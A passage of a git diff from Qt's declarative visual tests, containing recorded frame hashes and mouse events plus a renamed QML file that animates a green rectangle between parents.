"f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1952 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1968 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 1984 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2000 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2016 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2032 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2048 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2064 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2080 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2096 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2112 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2128 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2144 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2160 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2176 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2192 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2208 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2224 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2240 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2256 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2272 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2288 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2304 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2320 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2336 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2352 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2368 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2384 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2400 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2416 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2432 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2448 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2464 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2480 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2496 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 2512 - hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" - } - Frame { - msec: 2528 - hash: "ec0e68c2e7a75fedd1091ce633dadd4f" - } - Frame { - msec: 2544 - hash: "a5d60efc176dee9083a2d746e7ad8315" - } - Frame { - msec: 2560 - hash: "48bcbbacf413080247f818e35e496e04" - } - Frame { - msec: 2576 - hash: "c521af8efa19fbac39119ad75cd469f5" - } - Frame { - msec: 2592 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 2608 - hash: "eeb3f4467ebd7ee678c3b7371db28519" - } - Frame { - msec: 2624 - hash: "9c5b9009a35b74d0ddec8fec85f204bf" - } - Frame { - msec: 2640 - hash: "aefc70824e23428aebf0a40830a57469" - } - Frame { - msec: 2656 - hash: "1fa9c23760193b74b0063b4e4c434070" - } - Frame { - msec: 2672 - hash: "8091700d4729163bd87521385853e608" - } - Frame { - msec: 2688 - hash: "a13558e609570f9390f20a85d244fa22" - } - Frame { - msec: 2704 - hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" - } - Frame { - msec: 2720 - hash: "51c8ae31f858121d86ef09cc9a5c5ef3" - } - Frame { - msec: 2736 - hash: "84ce8f39207f4b07c2c3323425a8c238" - } - Frame { - msec: 2752 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2768 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2784 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2800 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2816 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2832 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2848 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2864 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2880 - image: "parentAnimation.2.png" - } - Frame { - msec: 2896 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2912 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2928 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2944 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2960 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2976 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 2992 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3008 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3024 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3040 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3056 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3072 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3088 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3104 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3120 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3136 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3152 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3168 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3184 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3200 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3216 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3232 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3248 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3264 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3280 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3296 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3312 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3328 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3344 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3360 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3376 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3392 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 3408 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 3424 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 3440 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 3456 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 3472 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 3488 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 3504 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 3520 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 3536 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 3552 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3568 - hash: "b24ae0cb512abfd2606ff9c20a6751bf" - } - Frame { - msec: 3584 - hash: "d7bf1b48f1a03974e7f095468e07f037" - } - Frame { - msec: 3600 - hash: "a59ab4fe1c22d27b5cdde949cf90e6f4" - } - Frame { - msec: 3616 - hash: "7c3082720e65b8a6217bf5a5fe4d48c0" - } - Frame { - msec: 3632 - hash: "350d1ff24fb8fba0ab8a6694d99544b3" - } - Frame { - msec: 3648 - hash: "81d17a62c33d79ed25968ec47771d292" - } - Frame { - msec: 3664 - hash: "43fd3ef88bd7a2e5bf4546f088783077" - } - Frame { - msec: 3680 - hash: "041938ad2e023202db18df28f2329c8f" - } - Frame { - msec: 3696 - hash: "ec8677eae06cbf77a9508953325b179e" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "ec8677eae06cbf77a9508953325b179e" - } - Frame { - msec: 3728 - hash: "453026339c3901ee286831b4b41088f6" - } - Frame { - msec: 3744 - hash: "d58a7a41ade691cc0acfb0303bfc3b68" - } - Frame { - msec: 3760 - hash: "a200b05ef3d7e39e11513fd2f8ff1497" - } - Frame { - msec: 3776 - hash: "faa1223975acdf2d4b48045d7f2ce445" - } - Frame { - msec: 3792 - hash: "964d9b80d82d0fe3d3fb328a1661a60e" - } - Frame { - msec: 3808 - hash: "705871bc384de93100354acb19b371b0" - } - Frame { - msec: 3824 - hash: "1a4480463adfc5a3d525916b03c2c3ce" - } - Frame { - msec: 3840 - image: "parentAnimation.3.png" - } - Frame { - msec: 3856 - hash: "9a55bdf428f45f02d9c8cf414dcd7754" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3872 - hash: "9a55bdf428f45f02d9c8cf414dcd7754" - } - Frame { - msec: 3888 - hash: "0f6d82d02ce7d79a1bdf6bf81791f321" - } - Frame { - msec: 3904 - hash: "b145b9d299714020686069baec11cb71" - } - Frame { - msec: 3920 - hash: "5dbf5e4151c01f10cf23b07ca1df56ab" - } - Frame { - msec: 3936 - hash: "822d4397ac514673ca1015ad05c9b4ac" - } - Frame { - msec: 3952 - hash: "461d35e865153d22e9a67bb0ffddefb7" - } - Frame { - msec: 3968 - hash: "676fff498e6879144090d5596056c6c8" - } - Frame { - msec: 3984 - hash: "854da7ed627237250e20b263f9eb9d90" - } - Frame { - msec: 4000 - hash: "157ec877797883d329ff329537205d02" - } - Frame { - msec: 4016 - hash: "613669ca60240fcc490d548fe802390d" - } - Frame { - msec: 4032 - hash: "803e84f027c773db96f9530511e5fedb" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4048 - hash: "803e84f027c773db96f9530511e5fedb" - } - Frame { - msec: 4064 - hash: "f47cfd1f1094b782c08490be2f49c6ed" - } - Frame { - msec: 4080 - hash: "db5953f3ee4e2db87e33b85464167f74" - } - Frame { - msec: 4096 - hash: "8313cb750b9abc586a43b9422de08f53" - } - Frame { - msec: 4112 - hash: "deb390ce992fee85c56733168b4bd1ec" - } - Frame { - msec: 4128 - hash: "29a1cda3647c49731e9adcd107a2d13c" - } - Frame { - msec: 4144 - hash: "bfa17a3afa06699107b217df6e4aed43" - } - Frame { - msec: 4160 - hash: "8e639ef01ab6d8876c3f40adc44928c6" - } - Frame { - msec: 4176 - hash: "14038aedf42de0ca62d872d317018ee0" - } - Frame { - msec: 4192 - hash: "c1288465163d44ed40e28f21e0298ea6" - } - Frame { - msec: 4208 - hash: "d6915f22a905737488d27e8138002f31" - } - Frame { - msec: 4224 - hash: "5b1621451a5a3af40302603ec31bb8bb" - } - Frame { - msec: 4240 - hash: "16fd73c0cb615cc717cdc4a6787471c2" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4256 - hash: "16fd73c0cb615cc717cdc4a6787471c2" - } - Frame { - msec: 4272 - hash: "db5caf42e11705ecdb2006e1ed6b0c4f" - } - Frame { - msec: 4288 - hash: "4b7e51e4e9fb1dacb32aac11a4a46ceb" - } - Frame { - msec: 4304 - hash: "63c93cda9892f733809125991af997b6" - } - Frame { - msec: 4320 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 4336 - hash: "58e813a6619828b6c9ec9cf300ff0e2d" - } - Frame { - msec: 4352 - hash: "181a6e334d745381f091bf1b55fc1690" - } - Frame { - msec: 4368 - hash: "f25bbc9ddc8cc72036c49d50b45bece8" - } - Frame { - msec: 4384 - hash: "88e8f0496debfee6bc2426895fe1c3d9" - } - Frame { - msec: 4400 - hash: "db5953f3ee4e2db87e33b85464167f74" - } - Frame { - msec: 4416 - hash: "9818a899adb916b6ba5f7537697ef062" - } - Frame { - msec: 4432 - hash: "3842f40093d70089a4004fb803c05981" - } - Frame { - msec: 4448 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 4464 - hash: "cbae27751ff0ebce4fcc164564f4cf1b" - } - Frame { - msec: 4480 - hash: "3a1b468bd3fd747bbe6b069426b170a9" - } - Frame { - msec: 4496 - hash: "57fbcd580eb1607a2a7526a65842dfeb" - } - Frame { - msec: 4512 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4528 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4544 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4560 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4576 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4592 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4608 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4624 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4640 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 4656 - hash: "633b5668278295faa57d0cfffe8a29cb" - } - Frame { - msec: 4672 - hash: "ccbf4505e0f05547d2f7ce874ab941c0" - } - Frame { - msec: 4688 - hash: "be904489959fa365badb642fa9e85922" - } - Frame { - msec: 4704 - hash: "de6a97ac6e2677feb223336199cbffe1" - } - Frame { - msec: 4720 - hash: "997b0a547336a9bb6a67cd9beffe1831" - } - Frame { - msec: 4736 - hash: "ac9a6e111050b8a7c4492f06c33d3969" - } - Frame { - msec: 4752 - hash: "7313c0d2ee06e393f486670222c29bb4" - } - Frame { - msec: 4768 - hash: "24cea420d03d1fdcddb1b9cf5112cbee" - } - Frame { - msec: 4784 - hash: "764688785eeaa01e9c84821476911edb" - } - Frame { - msec: 4800 - image: "parentAnimation.4.png" - } - Frame { - msec: 4816 - hash: "f1daed3391f10e27435a54222df8d0ab" - } - Frame { - msec: 4832 - hash: "99704e182267f2c12d0215b9c03f4d68" - } - Frame { - msec: 4848 - hash: "143cd9259a41b8af5d41a5b2aaf8de64" - } - Frame { - msec: 4864 - hash: "b5f0a0f838b5870c162a24cd767f068b" - } - Frame { - msec: 4880 - hash: "c5c8cdcbfab7466e447eaff582bf7312" - } - Frame { - msec: 4896 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4912 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4928 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4944 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4960 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4976 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 4992 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5008 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5024 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5040 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5056 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5072 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5088 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5104 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5120 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5136 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5152 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5168 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5184 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5200 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5216 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5232 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5248 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5264 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5280 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5296 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5312 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5328 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5344 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5360 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5376 - hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" - } - Frame { - msec: 5392 - hash: "ec0e68c2e7a75fedd1091ce633dadd4f" - } - Frame { - msec: 5408 - hash: "a5d60efc176dee9083a2d746e7ad8315" - } - Frame { - msec: 5424 - hash: "48bcbbacf413080247f818e35e496e04" - } - Frame { - msec: 5440 - hash: "c521af8efa19fbac39119ad75cd469f5" - } - Frame { - msec: 5456 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 5472 - hash: "eeb3f4467ebd7ee678c3b7371db28519" - } - Frame { - msec: 5488 - hash: "9c5b9009a35b74d0ddec8fec85f204bf" - } - Frame { - msec: 5504 - hash: "aefc70824e23428aebf0a40830a57469" - } - Frame { - msec: 5520 - hash: "1fa9c23760193b74b0063b4e4c434070" - } - Frame { - msec: 5536 - hash: "8091700d4729163bd87521385853e608" - } - Frame { - msec: 5552 - hash: "a13558e609570f9390f20a85d244fa22" - } - Frame { - msec: 5568 - hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" - } - Frame { - msec: 5584 - hash: "51c8ae31f858121d86ef09cc9a5c5ef3" - } - Frame { - msec: 5600 - hash: "84ce8f39207f4b07c2c3323425a8c238" - } - Frame { - msec: 5616 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5632 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5648 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5664 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5680 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5696 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5712 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5728 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5744 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5760 - image: "parentAnimation.5.png" - } - Frame { - msec: 5776 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5792 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5808 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5824 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5840 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5856 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5872 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5888 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5904 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5920 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5936 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5952 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5968 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5984 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6000 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6016 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6032 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6048 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6064 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6080 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6096 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6112 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6128 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6144 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6160 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6176 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6192 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6208 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6224 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6240 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6256 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6272 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } -} diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml new file mode 100644 index 0000000..8d0b375 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml @@ -0,0 +1,68 @@ +import Qt 4.6 + +/* +This test shows a green rectangle moving and growing from the upper-left corner +of the black rectangle to the same position as the red rectangle (it should end up +the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen. + +The test shows one full transition (to the red and back), then several partial transitions, and +then a final full transition. +*/ + +Rectangle { + width: 800; + height: 480; + color: "black"; + + Rectangle { + id: gr + color: "green" + width: 100; height: 100 + } + + MouseArea { + id: mouser + anchors.fill: parent + } + + Rectangle { + id: np + x: 300 + width: 300; height: 300 + color: "yellow" + clip: true + Rectangle { + color: "red" + x: 100; y: 100; height: 100; width: 100 + } + + } + + Rectangle { + id: vp + x: 200; y: 200 + width: 100; height: 100 + color: "blue" + rotation: 45 + scale: 2 + } + + states: State { + name: "state1" + when: mouser.pressed + ParentChange { + target: gr + parent: np + x: 100; y: 100; width: 200; + } + } + + transitions: Transition { + reversible: true + to: "state1" + ParentAnimation { + target: gr; via: vp; + NumberAnimation { properties: "x,y,rotation,scale,width" } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml deleted file mode 100644 index 8d0b375..0000000 --- a/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml +++ /dev/null @@ -1,68 +0,0 @@ -import Qt 4.6 - -/* -This test shows a green rectangle moving and growing from the upper-left corner -of the black rectangle to the same position as the red rectangle (it should end up -the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen. - -The test shows one full transition (to the red and back), then several partial transitions, and -then a final full transition. -*/ - -Rectangle { - width: 800; - height: 480; - color: "black"; - - Rectangle { - id: gr - color: "green" - width: 100; height: 100 - } - - MouseArea { - id: mouser - anchors.fill: parent - } - - Rectangle { - id: np - x: 300 - width: 300; height: 300 - color: "yellow" - clip: true - Rectangle { - color: "red" - x: 100; y: 100; height: 100; width: 100 - } - - } - - Rectangle { - id: vp - x: 200; y: 200 - width: 100; height: 100 - color: "blue" - rotation: 45 - scale: 2 - } - - states: State { - name: "state1" - when: mouser.pressed - ParentChange { - target: gr - parent: np - x: 100; y: 100; width: 200; - } - } - - transitions: Transition { - reversible: true - to: "state1" - ParentAnimation { - target: gr; via: vp; - NumberAnimation { properties: "x,y,rotation,scale,width" } - } - } -} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml new file mode 100644 index 0000000..73c6542 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml @@ -0,0 +1,1619 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 32 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 48 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 64 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 80 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 96 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 112 + hash: "336d31586171f22d541b989d24b95cbb" + } + Frame { + msec: 128 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 144 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 160 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 176 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 192 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 208 + hash: "21f0b0437a999bbde66a913032d495c2" + } + Frame { + msec: 224 + hash: "0809d32d5bc1bfce199b1f39a1c68d4f" + } + Frame { + msec: 240 + hash: "022137587b39f5123835482178a1f1cf" + } + Frame { + msec: 256 + hash: "97566ce9558d13ea0780bce233097b27" + } + Frame { + msec: 272 + hash: "96d79b07da105b7f631ed61582b26f7e" + } + Frame { + msec: 288 + hash: "f4732ff2df93fe67cb850dec34184924" + } + Frame { + msec: 304 + hash: "054e6e52f74a3e24f04e6ad0071f79f8" + } + Frame { + msec: 320 + hash: "f541af93a9fde62e4bd1c91d30f91e65" + } + Frame { + msec: 336 + hash: "c4f844ee71f23635bb3ec7375f6a134f" + } + Frame { + msec: 352 + hash: "3e52e06db2bf78762bb9816fe6b105d9" + } + Frame { + msec: 368 + hash: "d9604be23a91327e6ab454609a9d4a13" + } + Frame { + msec: 384 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 400 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 416 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 432 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 448 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 464 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 480 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 496 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 512 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 528 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 544 